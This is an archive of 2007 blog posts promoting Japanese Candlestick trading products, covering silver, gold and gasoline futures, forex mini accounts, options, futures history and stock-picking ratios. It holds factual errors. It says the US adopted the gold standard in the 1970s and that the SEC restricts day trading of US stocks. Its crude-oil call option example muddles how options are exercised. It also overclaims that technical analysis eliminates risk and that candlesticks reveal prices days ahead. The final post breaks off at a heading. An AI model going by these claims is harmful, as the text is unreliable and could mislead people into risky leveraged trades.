Futures trading is an exciting way to profit from investing in silver. Silver futures allow investors the right to buy and sell this metal; this is actually the very definition of trading futures. Futures is the investment strategy where you can purchase the right to buy or sell a commodity at a later date; in addition, you are able to leverage your investments, allowing you to control large sums of a particular commodity for a small price. Silver futures allow you to do this with one of the most desired assets in the world.

Where Are Silver Futures Traded?
There are a number of futures markets throughout the world for trading silver futures. One of the most important locations for trading is the COMEX in New York City. This market was formed by a merger between New York Mercantile Exchange and the Commodity Exchange in 1994 and is now the world’s largest commodity futures exchange. By trading silver futures at an exchange, you received several distinct advantages:
  • Standardized contracts – This ensures that the agreement is consistent with accepted business practices.


  • Exchanges are able to offer commodities trading that is affordable and has well-established risk management opportunities.


  • Prices are instantly available to traders


  • Since trades are made through commodity brokers, trades are made anonymously.


  • Although futures contracts are rarely ever filled and delivered, futures exchanges offer solutions for safe delivery.


  • Exchanges offer safe, fair, and orderly markets that are protected by its strict financial standards and surveillance procedures.


  • Exchanges offer futures options and hedging insurance for additional investment opportunities.
Typical Contract Details For Silver Futures
  • Basic Trading Unit – 5,000 troy ounces


  • Units Of Price – Dollars and cents per troy ounce


  • Tick (Basic Unit Of Change) - $0.005 per troy ounce or $25 per contract


  • Trading Periods – Options contracts are traded beginning with the current month and typically the following two months.


  • Options Trading – Options trading includes market orders such as stop limits, buy straddles and buy strangles, among others.
Should You Invest In Silver Futures?
Where you choose to establish your investment strategy is a very personal choice. It is important to consider your trading plan, your investment objectives and your financial situation before beginning to trade in any market. While you are leveraging your investment, silver futures are allow you to contract large sums of money and it is even possible to lose more that your original investment while futures commodity trading. It is important to understand silver futures trading and the related conditions before you enter.


Conclusion
Silver trading can be an extremely profitable futures market. Because of the high demand for silver, this commodity will continue to be a good investment. Learning about the silver futures markets and how they are traded with help you to become a successful trader in the beautiful and desired commodity.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 10, 2007
Gold Futures
The most desired commodity in the world. Only gold can make such a claim. Commodity trading in gold futures has become the new treasure hunt for this precious metal; no other market in the world holds the appeal of the gold futures market. Gold has a unique combination of rarity, beauty, and near indestructibility. Countries store gold to preserve wealth and as a means of international exchange; individuals have sought to possess it as a hedge fund against the uncertainties of the economy.

Are Gold Futures Right For You?
Where you decide on your investment strategy is a very personal choice. It is important that you are confident in your trading plan, your investment objectives and your financial situation before endeavor to trade in any market. Because of leveraging, investing in gold futures allows you to control larger amounts of gold than you normally would and it is even possible to lose more that your original investment while futures commodity trading. One thing to remember is that it is important to understand gold futures trading and the related conditions before you enter.

Typical Contract Details For Gold Futures

  • Basic Trading Unit – 100 troy ounces


  • Units Of Price – Dollars and cents per troy ounce

  • Tick (Basic Unit Of Change) - $0.10 per troy ounce or $10 per contract

  • Delivery – Gold delivered against the futures contract must bear a serial number and identifying stamp of a refiner approved and listed by the Exchange. Delivery must be made from a depository licensed by the Exchange.

  • Trading Periods – Options contracts are traded beginning with the current month and typically the following two months.

  • Options Trading – Options trading includes market orders such as stop limits, buy straddles and buy strangles, among others.

Where Can You Trade Gold Futures?
The world has a large number of futures markets for trading gold; perhaps the most important location for trading is the COMEX in New York City.  This exchange is now the world’s largest commodity futures exchange.  If you trade gold futures at an exchange, you will find several desirable benefits:

  1. The Contracts Are Standardized. This ensures that the agreement is consistent with accepted business practices.

  2. Ease And Affordability.  Exchanges are able to offer commodities trading that is affordable and has well-established risk management opportunities.

  3. Instant Access. Prices are instantly available to traders.

  4. Anonymous Trading. Since trades are made through commodity brokers, trades are made anonymously.

  5. Safe Delivery. Although futures contracts are rarely ever filled and delivered, futures exchanges offer solutions for safe delivery.

  6. Ethical Business Conduct. Exchanges offer safe, fair, and orderly markets that are protected by its strict financial standards and surveillance procedures.

  7. Flexible Trading. Exchanges offer futures options and hedging insurance for additional investment opportunities.

Should You Invest In Gold Futures?
Only you can answer that question; futures trading is an exciting way to profit from investing in gold. Gold futures give investors the right to buy and sell this precious metal; this is same concept that you will find with any commodity when trading futures. Futures investing means that you can purchase the right to buy or sell a commodity at a later date; in addition, you are able to leverage your investments, allowing you to control large sums of a particular commodity for a small price. Gold futures provide you with the opportunity to do this with the world’s most desired asset.


Conclusion
For centuries, gold has been the most desired commodity on the planet. Its beauty and widespread appeal is what makes trading commodities like gold so desirable. Gold futures are an excellent investment plan and are truly an investment in beauty as well.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 6, 2007
Online Forex Trading
Mini Accounts
Every once in awhile, something comes along that is truly a benefit to the investor. For someone who wants to learn Forex trading, that opportunity now exists. For those who want to start online Forex trading, there are now mini accounts that are to perfect way to start. While margin trading has always allowed Forex traders to control much more currency than they actually invested, the good thing in Forex news is that with the current mini accounts, it is possible to take advantage of smaller minimum trade levels and lower margin requirements.


Great For The Beginner
For the beginner investing, online Forex trading can be daunting because of the numbers. Many times the minimum trade size is $100,000 and while you are trading on the margin, the investment can still be very high. Online Forex trading with a mini account allows an investor to have a minimum trade size of $10,000 while only satisfying a 0.5% margin requirement. What this means is that an investor can Forex trade on a minimum lot for a $50 investment.


These lowered requirements are good news in Forex currency trading for beginners. It is possible to get started very affordable and yet still be profitable. Successful traders will make profits no matter what the minimums are. The beauty of these mini accounts is that they represent a lower risk method of learning online Forex trading.

Good News For The Experienced Investor
For the veteran of online Forex trading, the lower margin requirements offer bigger opportunities. If your previous account had a minimum trade size of $100,000 and a margin requirement of 1%, you would be investing $1,000. With the mini accounts lower margin requirements, you can actually control $200,000 for currency trading with the same $1,000.


Online Forex Trading For Everyone
Like most trading accounts these days, these mini accounts allow traders to enjoy online Forex trading. Forex markets are quickly becoming a 24 hours a day business and because of this online investors have the ability to enter trades virtually round the clock. Online Forex trading accounts typically offer traders technical analysis tools to help them improve their knowledge as well as the round the clock access to the markets.


One More Feature To Start
Another feature that is available to help create successful Forex traders is paper trading. Because online Forex trading can be complex and can involve large sums of money, paper trading is an excellent way to start learning about Forex.  Paper trading follows all of the same steps as regular online Forex trading but it is only in a practice account with play money. If a new trader uses a paper trading account like a normal


What Else Do You Need?
There is one more thing that everyone involved with online Forex trading should have. It is important for investors to have a trading plan that includes a trading system like Japanese Candlesticks. This charting and analysis that is provided by Candlesticks is the best way for an investor to be able to look at currency pairs and analyze their trends and determine the best times to make trades.

Conclusion
Every once and a while, a great opportunity comes along in commodities trading. Online Forex trading with mini accounts allows beginning investors to practice, and then implement investment strategies on a level more appropriate for their level of experience and their ability to withstand the loss of risk capital. For experienced investors, mini accounts and their lower margin offer the opportunity to control larger amounts of currency for the same investment. In any case, online Forex trading with mini accounts allows investors the opportunity to enjoy the profits that can be found in Forex trading.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


July 3, 2007
Gasoline Futures

The Energy to Make Profits
Probably the biggest on-going news story in the United States is gas prices. Every day the news trumpets the prices to eager viewers; the price is up and everyone panics, the price is down and it is cause for celebration. Wall Street news is affected by the price of gas, and stocks seem to rise and fall with each change at the gas pump. This interest translates to the futures markets as well as gasoline futures, which have become the next hot commodity as investors and speculators seek to capitalize on the intense interest that surrounds this valuable commodity.

Contract Details
Like other commodities in other market sectors, gasoline futures are traded throughout the world. One of the primary locations for this trading is NYMEX in New York City. With both floor trading and electronic trading, buying and selling gasoline futures is nearly a "round the clock" opportunity. In order to understand the framework of a gasoline futures contract, it is important to understand its details. Some of the details included in a contract include:

  • Unit Size – 42,000 US gallons or 1,000 barrels.


  • Contract Length – Options contracts on gasoline futures are based on twelve month cycles.


  • Units of Price – Prices for these futures options are stated in dollars per gallon.


  • Tick Size – The tick size, or minimum price fluctuation, for a gasoline future is $0.0001 per gallon or $4.20 per contract.


  • Maximum Daily Price Change – Six cents per gallon.


  • Delivery – New York Harbor, with alternate deliveries in pre-approved cases. Like is the case with oil futures, gasoline futures are rarely delivered to the buyer, rather they are redirected or resold to someone who will accept delivery.

The Logic of Investing In Gasoline Futures
Thinking back on the definition of futures, these contracts give their buyers the right to execute the contract if they desire. If the conditions are not met, a successful trader can simply walk away from the deal. To trade futures, it is necessary to find and interpret changes in price so that you can profit from your deals. If you get good at it, trading gasoline futures can definitely help you to increase the size of your trading account. If you don’t take the time to learn the rules and how to watch the market, it can empty your account as well.

Getting Under The Hood
Think about it this way: If you know nothing about automotive repair and have a problem with your car, will you try to fix it? Probably not. But automotive repairs can be very profitable for someone who understands cars. It’s the same way with futures trading. If you don’t understand the basics and you aren’t familiar with gasoline futures, you will probably have trouble.


Being successful in gasoline futures, corn futures or any other commodity is the result of preparation. By having an understanding of the investment strategies involved, you will be able to monitor trends and the news, and then make wise decisions based on what you actually know and not on what you THINK you know. In addition, the inclusion of a trading system like Japanese Candlesticks will provide you with the opportunity to best track trends in the gasoline futures market and accurately analyze the trends.

Conclusion
Trading gasoline futures can be a very profitable opportunity for investors who are serious about making money. Like its cousin from the energy sector, oil futures, gasoline futures can be a volatile commodity and this movement opens opportunities for traders who have the “energy” for commodities trading of this valuable and interesting asset.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


June 29, 2007
Buy Gold

Next to oil, gold is probably the best known asset in commodity trading. Gold was the impetus for America’s westward expansion in the mid-1800’s and its place in the American economy was secured when the United States adopted the gold standard in the 1970’s. Gold has always been a valued commodity and that is still true today. Successful traders are finding that buying gold can be both a profitable investment and a strong economic hedge in today economy.

Looking To Trend
Buying gold, like buying other commodities, tends to be cyclic in its pricing. Upward trends attempt to continue to go up while downward trends try to keep moving down unless something changes their course. Even a beginner trading commodities knows that this is a common part of trading, kind of investment’s law of inertia. After a phenomenal period of success that ended with people buying gold at over $800 per ounce in the early 1980’s, its price has seen other peaks and valleys; today’s gold seems to be ready for another upward run as speculators begin forming investment strategies to buy gold.

Fighting Inflation
As the US economy has been passing through yet another unstable period, gold has been holding basically steady or slightly rising in price. Because the US dollar and the price for buying gold are inversely connected, the weak dollar is a very good indication of a likely bull market in gold. This is also the reason that many people use gold as a sort of hedge fund investing against inflation.

The idea of another “bull market” in gold isn’t really surprising. The price for buying gold has seen gains against the US dollar over the past couple of years but has been somewhat flat against other currencies. The upturn against the US dollar tends to indicate that the previous low period is over and the asset is ready for a run; if anything, the results against the dollar are more of an indictment of the weakness of the currency and not an indication that the run on gold has started. This suggests that now is the time to make a strategy to buy this valuable commodity. Commodities trading strategies look for such opportunities to find the profits that make trading these assets, whether buying gold, oil or corn futures so lucrative.

How To Look For Movement
The key to successful trading when buying gold or any other commodity is research. Technical analysis and charting create the information that allows such investment opportunities to be exposed. The key to the whole process is finding the best way to analyze the movements of various commodities. The best way to find those opportunities is using Japanese Candlesticks. Because much of the success lies in the ability to see a trend before it happens, a system like Candlesticks is the perfect tool.

Most people think of bar charts when they think of chart formations. The formations that come from simple bar charts simply don’t give you a big enough picture. Knowing the opening and closing price for buying gold is helpful, but it doesn’t’ tell you anything about what kind of volatility that occurred nor does it suggest anything about future movements. Japanese Candlesticks can give you that kind of information. Looking to buy gold? Knowing what happened yesterday is an important part of looking for a trend. What will happen tomorrow is more important to you than what happened yesterday. Because of Candlestick pattern formations, you can not only see what happened yesterday or last week, you can successfully analyze what is likely to happen tomorrow or the next day.

Conclusion
If you want to buy gold, how well do you think you could do if you could see three days into the future? Many experts will tell you that Candlestick trading will give you that ability. Now is a great time to look into buying gold and the best way to take that look is with Japanese Candlesticks.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


June 25, 2007
Options Futures

The key to understanding options futures is what they are and how the work.  By looking at the dynamics these futures contracts you will have a better understanding of the characteristics of options futures and in turn, have additional tools that you need in order to be a successful trader.

What Is An Options Futures Contract?
The best definition of an options futures contract is a form of trading commodities between buyers and sellers where an asset is sold at a mutually agreeable price and to be executed by a specific date.  They are called options futures because it concerns a transaction that will take place in the future at the discretion of the buy.  The buyer is simply purchasing the right to make the transaction; if he or she chooses not to complete the deal, it becomes null and void on the expiration date.

Options Contracts
There are two different types of options contracts; call options and put options; in options futures, a put option gives its buyer the right to sell the underlying asset while a call option gives the buyer the right to purchase the underlying asset.

For example, you decide to buy a call option on corn futures; you are going to buy 1,000 bushels on the 25th of June for a strike price of $5.50 per bushel and the current price is $6.00 per bushel.  What you now have is an agreement to buy, if you choose, the corn on the above date for the listed price.  If at any time up to the 25th the price of corn is above $5.50, you can sell your 1,000 bushels and take the profit, if you so choose.

Possible Scenarios
The date on the contract is the 25th of June; this is known as the expiration date.  At this point in the options trading, the buyer must decide by this date if he or she wants to complete the transaction as outlined in the contract or walk away from the deal.

Suppose that on the expiration date of your options futures contract, (the 25th), the option value is $6.00 per bushel.  You are able to buy the corn for $5.50 and resell it for $6.00, making a profit of $500. (1,000 bushels at a profit of $0.50 each)

Conversely, if the expiration date arrives and the price of your corn is only at $5.00 per bushel, you could simply walk away from the deal and let it expire.  Remember when commodities trading, the buyer has only paid for the right to purchase the underlying asset of the options futures; he or she does not have to do so.  If you allow this contract to expire, you will only lose the premium that you paid when you made the contract; this money will be paid to the seller as his or her profit.

There are actually other investment strategies that can be implemented by either buyers or sellers in order to improve their position.  For sellers, these techniques usually include stop loss orders because a seller can be vulnerable if prices rise drastically.  No matter what the position, options futures have a wide variety of market orders to select.

Conclusion
Options futures offer successful trading opportunities to make money with a number of different types of investments.  It is important for you to understand the nature of options futures and commodity trading before you get involved in any kind of investments.  After you have learned exactly what is involved in options futures, you can get involved, knowing that you have the tools you need to succeed.  With options futures, you have the ability to make your investments looking forward to the “future”!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


June 7, 2007
Forex Trade

The Forex trade is the best known of all day trading, but it definitely isn't the only commodity swing trading that occurs. While most people are familiar with the stock markets, many people not involved with trading are not aware of the other markets available to day traders, some which are even more widely traded than the stock market. For example, Forex trade occurs at a rate of over $2 TRILLION per day, many times higher than the volume you will find on Wall Street.

Commodities Markets for Day Trading
Many of the commodities markets are involved in day trading, including futures contracts, options, currencies and stocks. Some of the more popular markets for day trading are:

  • Currency markets for Forex trade. (US dollar to British pound, euro to Swiss franc)

  • Options contracts on futures.

  • Futures based on stock indexes (S&P 500 Emini, NASDAQ 100)

  • Futures based on commodities trading (corn, soybeans, crude oil)
If you noticed that the mention of stock trading was limited to index based commodities that is because the US Securities and Exchange Commission has restricted day trading of US stocks. Only day trading on the various indexes is allowed.

Exchanges for Day Trading
There are a number of exchanges throughout the world that allow day trading; some of the better known exchanges for trading commodities include the following:
  • The Chicago Mercantile Exchange, best know for the S&P 500 Emini and Forex trade.

  • NASDAQ, which specializes in the NASDAQ 100

  • The Chicago Board of Trade

  • Deutsche Boerse in Europe

  • Euronext Paris in France
These exchanges establish their own specifications for the markets and process each trade that is made on their specific markets. Given the high volume of activity that occurs in such commodity investing as the Forex trade, these exchanges perform amazingly well.

Brokers
It is possible to trade directly with the exchanges such as performing Forex trade with the Chicago Mercantile Exchange. In spite of this, many day traders choose to do online futures trading and other day trading with direct access brokerages. These companies allow the day trader to have access to all of the various exchanges, but this access is made easier because the investor is able to use the same interface for each market. In other words, the setup for Forex trade will look basically the same as the interface for online stock market trading. The common interface allows investors to learn one company's software and not five or six different packages.

What Markets you will Trade
Deciding on where you will do your commodity trading is dependant on several factors such as your risk capital, your desired commodities, your trading plan, and your general approach to trading. If you're interested in the Forex trade, you will need different amounts of money, experience and time than someone who is interested in trading stock indexes. For a beginner investing, you might want to start with a market that has low margin requirements, a low tick value, and moves at a slower pace than something like the Forex trade, where the amounts can be high and the pace can be rapid.

Conclusion
No matter which type of day trading interests you, whether it is corn futures or Forex trade, it is important to understand the requirements, including the terminology, exchanges, markets and available brokers. Day trading can be very profitable and if an investor will take the time to follow the necessary steps: performing technical analysis, establishing a trading plan, charting and following the news, he or she can be successful whether trading pork bellies or entering the Forex trade.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


June 3, 2007
Call Options

Options are contracts, or provisions within contracts, that give the option holder the right to obtain commodities from, or sell commodities to, the option writer according to specific terms. An investor might purchase a call option to buy 1,000 bushels of corn at any time during the next three months at a specified price. Options give traders investment strategies that do not exist when buying common stocks.

Put and call options are referred to as derivative instruments; put and call options trade at futures exchanges or over-the-counter; they are linked to underlying assets. Most exchange traded options have stocks or futures as their underlying assets while OTC options have more variety including currencies, commodities, swaps or groups of assets. In addition, options can take many forms; two of the most common are:

  • Call options – These provide the holder the right to purchase the underlying asset at a specific price.


  • Put options – Give the holder the right to sell the underlying asset at a specific price.
The strike price of a call options is the specific price on which the two parties agree for the underlying asset in the event that the option is exercised. The expiration date is the last date on which the option can be exercised. Commodity trading options can be exercised in one of three ways:
  1. American exercise – A put or call option can be exercised at any time up to the expiration date.


  2. European exercise – A put or call option that can only be exercised on the expiration date.


  3. Bermudan exercise – Put or call options are futures contracts that are only allowed to be exercised on a few specific dates prior to the expiration date. While the other two do not have a specific reason for their names; the Bermudan was named this because it is halfway between Europe and America.
An example of a call option in commodities trading:

You have decided to purchase a three month, American exercised call option on 50,000 barrels of light sweet crude oil at a strike price of $50 per barrel. This call option has the following terms:
  • Underlying asset – Light sweet crude oil


  • Notional amount – 50,000 barrels


  • Strike price - $50


  • Conditions – This call option gives you the right, not the obligation, to buy 50,000 barrels of light sweet crude oil at $50 per barrel within the next three months. Because it is American exercised you have to ability to exercise this option at any time during the next three months.
After two months, the price of oil has risen to $60 per barrel. You decide to exercise your call option and purchase a put option with the same conditions except a strike price of $60 per barrel. Once both options have been exercised, ignoring the commissions involved, you have just made $10 per barrel for 50,000 barrels or a profit of $500,000. Not a bad day’s work for successful traders who have just learned about put and call options!

Conclusion
Futures options are exciting investment opportunities and techniques like put and call options give investors great alternatives for making profits in commodities trading. It is important to understand the terminology and the techniques involved before implementing put and call options but these can be excellent investment strategies to use.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


May 24, 2007
The History of Futures

With a history of over 160 years, futures trading has a rich past as well as a bright road ahead. Although futures trading has been around for such a long time, it is currently viewed by many as the ”next new thing.” With the buzz that has been surrounding futures, a little history lesson in commodity trading might be in order.

The Origins of the Futures Markets
The origins of futures markets are found during the 1840’s, when Chicago was transformed from a sleepy town to a booming commercial center. No longer isolated from the East, Chicago now was connected by both the railroad and the telegraph. About the same time, the McCormick reaper was introduced; this machine revolutionized wheat production and lead to tremendous increases in yields at harvest time. Farmers from throughout the Midwest came to Chicago to wheat dealers; these dealers in turn shipped the wheat all over the country.

When a farmer arrived in Chicago, he was hopeful that he would receive a fair price for his crops. Unfortunately, the city had very few storage centers and no standard methods for weighing or grading the grain, creating a very unstable market. In the end, a farmer was left hoping for the best, having to rely on the dealer to be fair with his evaluation and pricing.

Creating a Fair Solution
In 1848 a central location was opened, the predecessor of futures exchanges, where dealers and farmers could meet to deal in “spot” grain; this was similar to an open market where dealers paid cash to farmers for on the spot deliveries of grain.

The next phase occurred when farmers and dealers began to agree on futures contracts; this business practice was beneficial to both the farmers and the dealers since both could know in advance exactly what the price of the wheat would be. The two parties may have exchanged a written contract detailing this agreement and may have even exchanged a small amount of money representing a "guarantee."

History in the Making
Over these contracts became common and could even be used as collateral for bank loans. Transferability was also created at this time. If a dealer held a futures option but didn’t want to take delivery, he would sell his options to someone who did want the grain; the same might occur if the farmer didn’t want to deliver at a certain price as well. Factors such as weather and harvest size had a direct impact on the cost of the grain.

No long after this form of arrangement took place, others got involved that had no intention of actually buying or selling wheat. These people were speculators who looked for the price fluctuations and bought and sold contracts, taking the investment risk in order to capitalize on these price differences. Even in these early days, the very principles of futures trading could be seen as modern-day futures trading was born and took shape.

Some Things Never Change
Just as the basis of commodities trading is unchanged from the 1840’s, the best method for tracking and analyzing the futures market has its basis in history. Japanese Candlesticks was invented during the 17th Century for use in the Japanese rice markets. The principles used have evolved into the very best solution for market analysis in today’s futures markets.

Conclusion
Part of understanding the present is understanding the past. The principles of the American futures market have their origins in the 19th Century but they continue to go strong even in the 21st Century. Such is the beauty of the history of futures.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


May 3, 2007
Stock Market Principles

Everybody enjoys pulling out that dusty old box that holds the family photographs; you remember, the one with Uncle John on his tractor, another with parents wearing those awful hats on their cruise, and of course the one of you crying while you sat on Santa’s lap. There is something refreshing about looking back at the past; it seems to help strengthen our memories and even make things in the present seem clearer. The same is true with looking again at the stock market principles that you have already learned. The things that have made you successful in the stock market so far are good to remember.

Remembering What Worked in the Past
You have made money and your stock trading plan has been successful. Now is the time to pull it out and review the stock market principles that you included in it. Have you implemented stock market strategies that you never put in your plan or did you change your strategy and fail to write it down? Now is the time to update things and take a trip down the “memory lane” of your stock market principles.

In addition, take a look at other investors; there are always things you can learn from others that have found success in the market. Have you ever read anything from Benjamin Graham? He is known as the “Dean of Wall Street”. How about anything concerning the strategies of Warren Buffett? He is widely considered the greatest investor ever on Wall Street. People that are great successes usually have implemented great stock market principles that create their success. Take the time to learn from the experts. As you are beginning investing in the stock market, you can benefit from those who have already been there and from the stock market principles that are important to them.

Bad Stocks are Always Bad Stocks
This stock market principle is like holding a bad hand grenade; the two best things to do with a faulty grenade are to avoid having one and if you do have one, to get rid of it fast. The same is true of bad stocks; even though stock volatility can give the illusion that a bad stock is ok, you are still holding a faulty grenade. One wrong move and you can be left with some devastating consequences. Stay true to your stock trading system and don’t get caught up chasing bad stocks.

Remember that Investing Can Be a Game of Chance
If you choose to participate in day trading, IPO flipping, or buying from your “friends’” tips, you might as well have taken your investment money to the local casino. Remember the stock market principle that technical analysis and stock charting techniques eliminate risk and improve your chances to make money investing in stock.

Any Job is Easier if You Use the Proper Tools
No matter what you are doing, it’s hard to succeed without the right tools. Albert Pujols is a great baseball player but he will struggle mightily if you take away his bat and ball glove. This is also a wise stock market principle; you might have the best investment strategies ever but if you are not using your fundamental and technical analysis tools, you just won’t get the results you want. In addition, if you are using a stock investing system like Japanese Candlesticks, you will increase your chances of success even more. This system of chart and stock market data analysis gives you the ability to view today’s events to predict future trends.

Conclusion
The stock market principles that shaped your trading plan before are still good for today. Like you did with those dusty old photos, you should pull out your trading plan and look over the stock market principles it contains. The good news is that you won’t have that embarrassing picture with Santa to view!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


April 7, 2007
Strong Portfolio

The idea of building a strong portfolio should be the central focus for any investor looking for successful long term investing results in the stock market. While it is true that a trader can find an occasional gem with stock buying tips or a hunch, the majority of good investments will be the result of doing the “dirty work”. This work will help a successful investor to discover the strengths and weaknesses of a company, as well as helping to understand the business economics and market position of the company. Such research of a company would fall in the category of fundamental analysis and is important to making a good decision on the purchase of a company’s shares and to building the strong portfolio that you need to succeed in the stock market.

How does the company earn cash?
A trader can’t really add a company to a strong portfolio unless he or she knows how the company is generating its cash. This is critical and needs to be specific and void of assumptions. Papa John’s Pizza is a perfect example of such a need for understanding cash flow. Millions of people recognize the brand for Papa John’s; it’s easy to assume that the company makes their money from selling pizzas. While Papa John’s does make pizzas, many of the actual stores are franchises, separately owned and making products according to the ingredients and recipes of the parent company. In other words, Papa John’s creates the pizza and other products that its franchises make. After making this connection, it is easy to see how important the relationship between Papa John’s and its franchises is both to the company’s value in the stock market and to a strong portfolio.

How much cash does the company make and how quickly?
Because of the time value of money, a company that makes a million dollars today is worth more than a company that makes two million over the next twenty years. Making such connections between cash flow and time is critical to implementing successful stock market strategies.

Can the company continue to maintain its cash flows?
At one time the American steel industry was considered a blue chip stock in a strong portfolio and countless analysts advised adding it to a stock portfolio. An extended history of profitability led many investors and analysts to believe that this business would always be a strong investment. The past, however, is of little value in projecting future cash flows. One way to evaluate whether a company can sustain its cash flows is to look at its earnings estimates. A company that is struggling to make its numbers might not prove to be a successful investment and its purchase might not help to make a strong portfolio.

How costly is a business to operate?
For a strong portfolio, it is wise to consider that some companies need a lot of money to make their profits, while others can operate successfully on very little revenue. A utility company needs billions of dollars each time it opens a new power plant, yet an Internet company can operate on a small amount of ad revenue while it develops its product. The less money it takes for a business to survive, the more appealing it will be for someone investing in the stock market and the more desirable it is to give investors the advice to add it to their strong portfolio.

Is the company managed in a shareholder-friendly manner?
The management team and its attitude towards the shareholders are extremely important both in the company’s success and in creating a strong portfolio. A company that looks at its own investment philosophy and investment options, such as repurchasing shares when the stock price has fallen rather than invest in another company is more likely to create wealth than a one only looking to build the company. Reading a company’s actions before you buy can help make a strong portfolio.

Is the price attractive?
Simply put, price is the single most important technical analysis tool. The most common metrics for stock technical analysis are found because of the share price. A $20 per share company that earns $6 per share has a yield of 30%, but a $100 per share stock that returns the same $6 only turned a 6% yield, hardly anything that will excite investors or cause a company to be included in a strong portfolio.

The best investment advice happens to also help to make a strong portfolio; follow the money flow. If a company is successful at making and sharing its money, it will be a company that has strong investment potential.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


April 3, 2007
Price To Sales Ratio

For those of you who are value stock investing, I am going to put in your hands one of the most important weapons you could have; in reality, this is an excellent tool for anyone who is searching for good investments. Value investing involves looking for stocks that, for whatever reason, the market has undervalued. The price to sales ratio is perfect for this and something that you need to learn today.

The key to price to sales ratio is the concept that it is critical to know if a stock still has room to grow before you invest your money. If the stock is reasonably priced or under-priced and you have confirmed its growth prospects, you have found your next potential purchase. On the other hand, a stock that is over-priced won’t do anything but drop. You may want to purchase this company but only after the stock market has found its true value. Price to sales ratios can help you to make that determination.

The Better Bargain
Here’s the perfect place for a pop quiz? Which is a better purchase…IBM at $94.00 a share or Dell at $44.00? Your gut will tell you that IBM must be a better company because its stock is more expensive. Here’s the paradox; stock prices don’t really tell you much. If you don’t know anything about the two companies, you just cannot make a judgment based on price. This is where price to sales ratio can help you with your investment strategies.

Calculating Price to Sales Ratio
The price to sales ratio creates a metric that allows you to compare companies in the same stock sector. To calculate price to sales ratio you need to divide the market cap of a company by its revenue. Market cap is the number of outstanding shares multiplied by the per share price. If a company has 10 million shares outstanding and the per share price is $100, the market cap of the company is $1 billion.

By dividing this number by the revenue, you get a number that is consistent and can be used to compare different companies. You are looking for the lowest number here. It is also important that you only use the price to sales ratio to compare companies in the same industry since there will be differences among industry groups.

What is the Result?
Let’s go back to our pop quiz. IBM’s price to sales ratio in this example is 1.7 and Dell’s price to sales ratio is 2.2; the ratio for the industry group was 2.8. Both companies were selling under the same stock sector but IBM’s number was better than Dell’s. Looking at their price to earnings ratio, IBM’s P/E was 20 and Dell’s was 34.5, with the industry average at 33. Once again, IBM appears to be the better value. If the numbers here had conflicted, there is a very good possibility that something questionable had happened in one of the company’s books; look for a one-time event that has temporarily skewed the numbers.

Conclusion
There are two parts to successful fundamental and technical analysis: picking the right company and buying at the right price. The price to sales ratio is one tool that will help you determine if “the price is right”.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


March 31, 2007
Oil Investment

It’s black, dirty and a part of almost every topic on TV or in the newspaper. It is not pollution although some cannot talk about it without talking about pollution. The subject is oil and these days, oil investment is looked on with the same disdain as oil itself. While the oil economy has become so huge that it boggles the imagination, oil investment itself should be considered by traders as a big opportunity for them as well.

An unnamed environmentalist once compared the oil companies and their executives to the heads of the tobacco companies who used harmful additives and denied that cigarettes were a threat to health. Without turning this into a moral forum, that simply isn’t a valid comparison and while we might not like the huge salaries of oil executives, their business approach is neither harmful nor addictive. The money management and soaring prices make for good business and good oil investment opportunities.

How are tobacco and oil executives different?
The environmentalist’s statement was merely a headline grabbing comment. The tobacco companies got very rich concealing information that proved tobacco was harmful and included chemicals that made it more addictive. The oil industry and its executives are guilty of nothing like this and oil investment is not immoral either. They produce and sell the most important commodity in the world. Oil companies are among the very largest companies in the US and have posted the largest profits in the history of investing. Whether buying company stock or investing in oil futures, an investor can find ways to profit along with the oil companies by oil investment.

How is oil the most important commodity?
Think about it; sure you could say food is more important but the big picture proves otherwise. In modern America, only a small percentage of the population produces food; the rest buy their food at the neighborhood grocery. How does that food arrive at the grocery? It is brought by trucks that use oil and gasoline. The two biggest factors on the price of food are the weather and oil. If the weather is bad, food prices rise. If the price of oil rises, food prices rise as well. The same is true of nearly all other products as well; shipping costs can be almost as much as production costs and any rise in the price of oil is likely to be reflected in the price of the product. Oil investment gives a trader the opportunity to make money investing in stocks or futures of the most used and needed commodity in the world.

If you take the theory further, the world would be completely different today if it weren’t for oil. Oil powers and lubricates the machines that build businesses, housing, hospitals and all of the other things we take for granted. Without oil most of the things we have today wouldn’t be possible. A key to investing in the stock market is finding a company with a product that people need and nothing in the world is in more demand than oil. Oil investments capitalize on the most used commodity known to man.

Opportunities in Oil Investment
